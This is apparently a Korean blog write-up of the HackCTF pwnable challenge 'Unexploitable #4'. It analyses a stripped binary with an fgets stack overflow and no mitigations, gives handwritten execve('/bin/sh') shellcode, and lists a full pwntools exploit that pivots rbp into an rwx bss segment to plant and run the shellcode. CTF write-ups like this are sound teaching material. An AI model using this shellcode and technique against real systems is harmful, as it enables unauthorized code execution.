tmxklab
[HackCTF/Pwnable] Unexploitable #4 본문
1. 문제
nc ctf.j0n9hyun.xyz 3039
1) mitigation 확인
- stripped된 파일
- 걸려있는 mitigation이 없고 rwx가 가능한 세그먼트가 존재
2) 문제 확인
- 입력 값을 받고 종료
3) 코드 흐름 확인
3-1) main()
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s; // [rsp+0h] [rbp-10h]
Init();
fgets(&s, 44, stdin);
return 0LL;
}
- fgets로 s[rbp-0x10]에 44bytes까지 입력 받을 수 있음 → bof
2. 접근방법
일단, 걸려있는 mitigation도 존재하지 않고 bof가 발생하니 쉘 코드를 넣어서 실행시키는 방법으로 생각해 보았다.
1) 쉘 코드 삽입 장소
아까 rwx가 가능한 세그먼트가 존재하므로 vmmap을 통해 확인해보자
- 0x601000 ~ 0x602000까지 rwx 가능
- 참고로 bss영역에 stdout, stdin, stderr등등 존재하므로 아무런 값도 존재하지 않는 0x601100을 선택하여 쉘 코드를 넣어보자
- fgets함수의 인자로 s[rbp-0x10]변수가 들어가는데 bof를 일으켜 rbp값을 0x601110을 주면 0x601100에 값을 작성할 수 있다.
그럼 bof를 발생하여 rbp값을 0x601110을 주고 ret에 다시 메인 함수로 돌아오게 만든 다음에 쉘 코드를 넣으면 될 듯하다.
2) 쉘 코드 작성
예전에 linux에서 쉘 코드 작성하는 것을 한 번 경험해보아서 쉘 코드를 직접 만들어서 작성하기로 하였다. (shellcraft로 하려고 했는데 총 48bytes길이여서 조금 줄이고자 직접 작성하기로 시작함)
[ execve.asm ]
global _start
section .text
_start:
jmp short shellcode
shellcode:
xor rax, rax
xor rdx, rdx
xor rsi, rsi
mov al, 59
mov rbx, 0x68732f6e69622f
push rbx
mov rdi, rsp
syscall
-> 컴파일 하는 방법
$nasm -f elf64 execve.asm // 오브젝트 파일 생성
$ld execve.o -o execve // 실행 파일 생성
- rdx, rsi, rax는 execve에 들어가는 인자이므로 xor연산을 해서 없애준다.
- 기존에는 "/bin/sh"문자열을 "push rbx, push rsp, pop rdi"를 통해서 rdi에 binsh문자열 주소를 저장하였으나 이런 식으로 push와 pop을 많이 하게되면 rsp와 rip가 충돌이 나서 쉘 코드가 깨지므로 push사용을 한 번만 하도록 쉘 코드를 작성하였다.
- 위 쉘 코드 길이는 27bytes이므로 한 번에 저장하기에 it's ssab ganeung
근데 한 번에 넣으면 it's problem발생..
- 0x601100에 잘 들어갔으나 이전에 fgets에서 0x601100에 넣기 위해서 rbp값을 수정하였으므로 현재 ret값에 0x601100이 들어가질 않음
따라서, 2번 나눠서 쉘 코드를 넣고 ret에 쉘 코드가 시작하는 부분이 잘 들어가도록 세팅해주자
공격 프로세스)
- 첫 번쨰 fgets에서 rbp값을 쉘 코드가 존재하는 주소로 세팅하고 ret에는 다시 main함수
- 두 번째 fgets에서 쉘 코드의 일부를 넣고 rbp에는 나머지 쉘 코드가 들어갈 주소로 세팅하고 ret에 main함수
- 세 번째 fgets에서 나머지 쉘 코드를 넣고 ret에 쉘 코드가 존재하는 주소로 세팅
3. 풀이
1) 익스코드
from pwn import *
context(log_level="DEBUG", arch="amd64", os="linux")
#p = process("./unex4")
p = remote("ctf.j0n9hyun.xyz",3039)
#gdb.attach(p, """b*0x4006f3""")
bss = 0x601100
shellcode = asm("xor rax, rax")
shellcode += asm("xor rdx, rdx")
shellcode += asm("xor rsi, rsi")
shellcode += asm("mov al, 59")
shellcode += asm("movabs rbx, 0x68732f6e69622f")
shellcode += asm("push rbx")
shellcode += asm("mov rdi, rsp")
shellcode += asm("syscall")
log.info("shell code len : "+str(len(shellcode)))
# 1. rbp setting
payload = "A"*0x10
payload += p64(bss+0x10)
payload += p64(0x4006db)
pause()
p.sendline(payload)
# 2. input first shellcode -> 8bytes
payload = "A"*0x10
payload += p64(bss+0x38)
payload += p64(0x4006db)
payload += shellcode[:8]
pause()
p.sendline(payload)
# 3. input second shellcode -> (len - 8bytes)
payload = shellcode[8:]
payload += (24-len(payload))*"\x90"
payload += p64(bss+0x20)
pause()
p.sendline(payload)
p.interactive()
2) 실행 결과
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] 훈폰정음 (0) | 2020.08.27 |
---|---|
[HackCTF/Pwnable] AdultFSB (0) | 2020.08.20 |
[HackCTF/Pwnable] ChildFSB (2) | 2020.08.15 |
[HackCTF/Pwnable] wishilist (0) | 2020.08.15 |
[HackCTF/Pwnable] Unexploitable #3 (0) | 2020.08.15 |
Comments